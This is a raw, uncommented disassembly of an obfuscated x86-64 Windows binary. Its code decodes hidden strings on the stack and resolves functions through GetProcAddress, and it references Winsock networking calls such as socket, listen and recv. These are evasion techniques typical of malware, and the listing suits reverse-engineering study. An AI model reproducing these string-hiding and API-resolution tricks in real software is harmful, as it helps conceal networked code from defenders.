lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14006cb84
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006cb58
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14006c740
mov rbx, rcx
lea r8, [rcx + 0x41]
lea rax, [r8 + 0x61]
cmp rcx, rax
jb 0x14006d0ab
lea rax, [r8 + 0x10]
cmp rcx, rax
jb 0x14006d08b
lea rax, [r8 + 0x64]
cmp rcx, rax
jb 0x14006c924
lea rax, [r8 + 4]
cmp rcx, rax
jb 0x14006c909
lea rcx, [r8 + 0xa]
cmp rbx, rcx
jb 0x14006c8ee
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14006cb09
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14006cac4
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14006ca86
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14006ca5e
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14006c740
mov rbx, rcx
lea r8, [rcx + 0x80]
lea rax, [r8 + 0x41]
cmp rcx, rax
ja 0x14006ca32
lea rax, [r8 + 3]
cmp rcx, rax
ja 0x14006ca12
lea rax, [r8 + 0x200]
cmp rcx, rax
ja 0x14006c9f3
lea rax, [r8 + 0x7a]
cmp rcx, rax
ja 0x14006c9d3
lea rcx, [r8 + 0x20]
cmp rbx, rcx
ja 0x14006c9b3
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14006c998
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14006c975
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14006c94f
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14006c941
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14006c740
mov rbx, rcx
lea r8, [rcx + 0x3e8]
jmp 0x14006c740
lea ecx, [r9 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x24
jmp 0x14006c731
lea ecx, [r9 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4c
jmp 0x14006c6d3
sub r9b, 0x14
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x74
jmp 0x14006c676
lea edx, [r9 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14006cfdd
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
inc r8
dec r11
inc r11
jmp 0x14006c663
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
dec r11
inc r11
jmp 0x14006c663
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x14006cf68
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
add rbx, r8
jmp 0x14006d048
add r9b, 0x18
movzx eax, r9b
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006d048
lea edx, [r9 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006cec5
add r9b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006cef0
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
movzx eax, byte [rbp + r11 - 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14006c663
add r9b, 0x5c
movzx eax, r9b
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
mov byte [rbp + r11 - 0x20], dil
inc r11
jmp 0x14006c663
lea edx, [r9 - 0xc]
movzx eax, dl
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x64
jb 0x14006ca79
lea ecx, [r9 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x10]
jmp 0x14006cfee
lea edx, [r9 - 0x74]
movzx eax, dl
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 0x7a
jae 0x14006ce90
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x14006cdde
lea edx, [r9 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
jmp 0x14006ca95
lea edx, [r9 + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 0x1000
je 0x14006ceae
lea rcx, [r8 + 2]
cmp rbx, rcx
jbe 0x14006cd42
lea ecx, [r9 - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3c
jmp 0x14006cade
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
movzx eax, byte [rbp + r11 - 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14006c663
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
jmp 0x14006cef0
lea ecx, [r9 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
jmp 0x14006cec5
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006d048
sub r9b, 8
movzx eax, r9b
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x14006d048
lea edx, [r9 - 0x70]
mov ecx, 8
jmp 0x14006cf57
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
dec r11
inc r11
jmp 0x14006c663
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
inc r8
dec r11
inc r11
jmp 0x14006c663
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x14006cfee
lea rax, [r8 + 8]
cmp rbx, rax
jae 0x14006cc8e
lea edx, [r9 - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
jmp 0x14006cb18
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006ccb4
sub r9b, 0x78
movzx eax, r9b
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14006d074
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006ccdd
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
add rbx, r8
jmp 0x14006d048
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006cd0c
sub r9b, 8
movzx eax, r9b
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14006c663
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006cb23
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14006c663
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006cd66
lea ecx, [r9 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x14
jmp 0x14006cfee
cmp rbx, rcx
jne 0x14006cd94
sub r9b, 0x4c
movzx eax, r9b
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14006c663
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006cdb6
add r9b, 0x54
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
jmp 0x14006d044
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006cade
lea ecx, [r9 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x24
jmp 0x14006cec5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006ce13
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
movzx eax, byte [rbp + r11 - 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14006c663
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006ce3c
add r9b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006d048
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006ce68
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x14006d048
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14006caa0
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
jmp 0x14006cfee
lea edx, [r9 + 0x20]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x10
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006cf68
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add r9b, 0x3c
movzx eax, r9b
and al, r10b
mov ecx, 0x2e
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 - 0x20], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 - 0x20], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 - 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14006c663
add r9b, 0x34
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6c
jmp 0x14006d048
lea edx, [r9 + 0x64]
mov ecx, 0x22
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0x2c
movzx eax, r9b
and al, r10b
mov ecx, 0x1a
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
add cl, dil
mov byte [rbp + r11 - 0x20], cl
add rbx, r8
jmp 0x14006d048
sub r9b, 4
movzx eax, r9b
and al, r10b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14006c663
lea ecx, [r9 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x34
jmp 0x14006cfee
movzx r9d, r11b
lea edx, [r9 + 0x5c]
mov ecx, 0x3e
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x6c
movzx eax, r9b
and al, r10b
mov ecx, 6
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
mov byte [rbp + r11 - 0x20], cl
inc r8
dec r11
inc r11
jmp 0x14006c663
lea ecx, [r11 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x24
add rbx, r8
jmp 0x14006d048
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x4c
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14006c663
lea rax, [r11 + r12]
and dl, al
mov ecx, 0x1e
sub cl, dl
lea edi, [rcx + rcx]
add dil, al
add dil, r10b
movzx eax, byte [rbp + r11 - 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14006c663
sub r9b, 0x7c
movzx eax, r9b
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006c660
add r9b, 0x1c
movzx eax, r9b
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006c650
lea rdx, [rbp + 0x17cb8d0]
jmp 0x14006d0e1
lea rdx, [rbp + 0x171e984]
jmp 0x14006d0e1
lea rdx, [rbp - 0x20]
mov r12, qword [rsp + 0x38]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x20], rax
mov byte [rbp - 0x10], 0xfb
mov byte [rbp - 0xf], 0xe8
mov byte [rbp - 0xe], 0xd6
mov byte [rbp - 0xd], 0xe8
mov byte [rbp - 0xc], 0xd9
mov byte [rbp - 0xb], 0xd3
mov byte [rbp - 0xa], 0xe2
mov byte [rbp - 9], 0xd4
mov byte [rbp - 8], 0xcf
mov byte [rbp - 7], 0xf5
mov byte [rbp - 6], 0x29
mov byte [rbp - 5], 0x2c
mov byte [rbp - 4], 0xb8
xor eax, eax
mov word [rbp - 3], ax
mov byte [rbp - 1], al
movabs r15, 0x8cd39514b3340c76
movabs r13, 0xa67abf3e199c2562
movzx edi, byte [rbp + 0x410]
nop dword [rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor esi, esi
cmp rsi, 0x10
jae 0x14006dbba
movzx r11d, byte [rbp + rsi - 0x10]
mov r10d, r11d
cmp rbx, rsi
ja 0x14006dbb1
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006d1a1
lea rcx, [rsi + r15]
mov rax, r10
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r10
add rdi, rcx
sub dil, 0x3a
jmp 0x14006d1db
je 0x14006db40
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006dae2
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006da87
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006da67
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14006da23
movzx r9d, sil
nop
cmp r8, rsi
ja 0x14006dba8
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x14006d211
lea edx, [r9 - 0x52]
movzx eax, dl
and al, r11b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006d252
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006da0b
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006d9fd
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006d9b6
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006d999
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006d96b
lea rax, [r8 + rbx]
cmp rax, rsi
jbe 0x14006d6f4
nop
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14006d6d5
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14006d6af
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14006d689
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14006d66e
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14006d64e
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006d631
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006d614
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14006d5e6
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14006d260
lea rbx, [r8 + 0xa]
lea r8, [rbx + 0x10]
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14006db88
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14006db6b
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14006d402
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14006d3e7
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14006d3cc
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14006d53a
lea rbx, [r8 + 4]
lea r8, [rbx + 0x42]
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14006d50f
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14006d4ef
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14006d4d4
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14006d4b4
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14006d497
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14006d489
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14006d466
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14006d43d
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14006d422
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14006d260
lea rbx, [r8 + 9]
lea r8, [rbx + 0x3e8]
jmp 0x14006d260
lea ecx, [r9 + 0x12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7e
jmp 0x14006d252
lea ecx, [r9 + 0x26]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0xa
jmp 0x14006d1e0
add r9b, 0x3a
movzx eax, r9b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
jmp 0x14006d175
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x10
jmp 0x14006da3d
sub r9b, 0x7c
movzx eax, r9b
and al, r11b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
inc r8
dec rsi
inc rsi
jmp 0x14006d162
sub r9b, 0x68
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x28
dec rsi
inc rsi
jmp 0x14006d162
lea edx, [r9 - 0x54]
mov ecx, 0x26
jmp 0x14006da94
sub r9b, 0x40
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x40
jmp 0x14006dac6
sub r9b, 0x2c
movzx eax, r9b
and al, r11b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
jmp 0x14006dac9
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x58
jmp 0x14006d9d0
sub r9b, 4
movzx eax, r9b
and al, r11b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
jmp 0x14006db03
add r9b, 0x10
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x70
movzx eax, byte [rbp + rsi - 0x10]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14006d162
lea edx, [r9 - 2]
movzx eax, dl
and al, r11b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
lea rax, [r8 + rbx]
cmp rax, 0x41
je 0x14006d958
lea rdx, [r8 + 9]
lea r10, [r8 + 1]
cmp rbx, rdx
jbe 0x14006d7bf
lea edx, [r9 + 0x1e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
lea rcx, [r8 + 3]
cmp rbx, 2
jae 0x14006d93a
cmp rbx, rcx
jbe 0x14006d89a
lea edx, [r9 - 0x34]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
cmp r8, 0x7a
jb 0x14006d92d
lea ecx, [r9 + 4]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edi, [rcx*2 - 0x38]
jmp 0x14006da3d
add r9b, 0x14
movzx eax, r9b
and al, r11b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
movzx eax, byte [rbp + rsi - 0x10]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14006d162
add r9b, 0x28
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x18
jmp 0x14006db03
add r9b, 0x50
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x30
jmp 0x14006dac9
add r9b, 0x64
movzx eax, r9b
and al, r11b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
jmp 0x14006dac6
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x48
jmp 0x14006daa5
sub r9b, 0x74
movzx eax, r9b
and al, r11b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
dec rsi
inc rsi
jmp 0x14006d162
sub r9b, 0x60
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x60
inc r8
dec rsi
inc rsi
jmp 0x14006d162
lea edx, [r9 - 0x4c]
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006da3d
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x14006d718
lea ecx, [r9 + 0x76]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x3a
jmp 0x14006d554
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006d74f
add r9b, 0x5c
movzx eax, r9b
and al, r11b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
movzx eax, byte [rbp + rsi - 0x10]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14006d162
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006d778
add r9b, 0x48
movzx eax, r9b
and al, r11b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
jmp 0x14006db03
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006d78f
lea edx, [r9 - 8]
mov ecx, 0x1c
jmp 0x14006da94
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006d554
sub r9b, 0x1c
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x3c
dec rsi
inc rsi
jmp 0x14006d162
cmp rbx, r10
jne 0x14006d7df
lea ecx, [r9 + 0xa]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x46
jmp 0x14006da3d
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006d811
sub r9b, 0xa
movzx eax, r9b
and al, r11b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
inc r8
dec rsi
inc rsi
jmp 0x14006d162
lea rcx, [r8 + 3]
cmp rbx, rcx
jne 0x14006d83d
sub r9b, 0x1e
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x2e
dec rsi
inc rsi
jmp 0x14006d162
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006d863
sub r9b, 0x46
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x16
jmp 0x14006dac6
cmp rbx, rdx
jne 0x14006d591
add r9b, 0x6a
movzx eax, r9b
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
movzx eax, byte [rbp + rsi - 0x10]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14006d162
cmp rbx, r10
jne 0x14006d8ca
sub r9b, 0x48
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 8
movzx eax, byte [rbp + rsi - 0x10]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14006d162
cmp rbx, rcx
jne 0x14006d8dd
lea edx, [r9 - 0x70]
mov ecx, 8
jmp 0x14006d9bf
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006d901
lea ecx, [r9 + 0x54]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x4c
jmp 0x14006daa5
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006d5be
lea edx, [r9 + 0x18]
movzx eax, dl
and al, r11b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006da3d
mov byte [rbp + rsi - 0x10], dil
inc rsi
jmp 0x14006d162
lea edx, [r9 - 0x10]
movzx eax, dl
and al, r11b
movzx ecx, r11b
sub cl, al
add cl, 0x38
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006daa5
lea ecx, [r9 - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [rcx - 4]
jmp 0x14006d9d0
sub r9b, 6
movzx eax, r9b
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
movzx eax, byte [rbp + rsi - 0x10]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14006d162
add r9b, 0xe
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x62
jmp 0x14006db03
lea edx, [r9 + 0x22]
mov ecx, 9
movzx eax, dl
and al, r11b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
add r9b, 0x52
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x3e
add r9b, r11b
movzx eax, r9b
mov byte [rbp + rsi - 0x10], al
inc r8
add rax, r8
sub rsi, rax
jmp 0x14006db03
lea edx, [r9 + 0x5e]
mov ecx, gethostname
jmp 0x14006da94
lea ecx, [r9 - 0x66]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x36
jmp 0x14006da3d
movzx r9d, sil
lea ecx, [r9 - 0x3e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x4e
add r9b, 0x7a
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x56
add r9b, r11b
mov byte [rbp + rsi - 0x10], r9b
inc r8
dec rsi
inc rsi
jmp 0x14006d162
lea ecx, [rsi - 0x16]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x66
dec rsi
inc rsi
jmp 0x14006d162
movzx r9d, sil
lea edx, [r9 - 2]
mov ecx, 7
movzx eax, dl
and al, r11b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
add r9b, 0x66
movzx eax, r9b
and al, r11b
mov ecx, 0x1b
sub cl, al
add cl, cl
add cl, r9b
add cl, r11b
add cl, dil
mov byte [rbp + rsi - 0x10], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14006d162
movabs rcx, 0xc021e96780043e4e
add rcx, rsi
and r10b, cl
add r10b, r10b
movzx edi, r11b
sub dil, r10b
sub dil, 0x22
add dil, cl
lea ecx, [rsi - 0x38]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x78
add r11b, cl
mov byte [rbp + rsi - 0x10], r11b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add rsi, rax
movzx eax, byte [rbp + rsi - 0x10]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14006d162
lea rcx, [rsi + r13]
and r10b, cl
mov eax, 0x29
sub al, r10b
lea edi, [rax + rax]
add dil, r11b
add dil, cl
movzx eax, byte [rbp + rsi - 0x10]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14006d162
add r9b, 0x4e
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x22
jmp 0x14006d160
add r9b, 0x62
movzx eax, r9b
and al, r11b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
jmp 0x14006d150
lea rdx, [rbp + 0x1785f38]
jmp 0x14006dbbe
lea rdx, [rbp + 0x12c6bae]
jmp 0x14006dbbe
lea rdx, [rbp - 0x10]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x48], rax
mov byte [rbp + 0x120], 0x9b
mov byte [rbp + 0x121], 0xe5
mov byte [rbp + 0x122], 0xe1
mov byte [rbp + 0x123], 0xee
mov byte [rbp + 0x124], 0xfd
mov byte [rbp + 0x125], __WSAFDIsSet
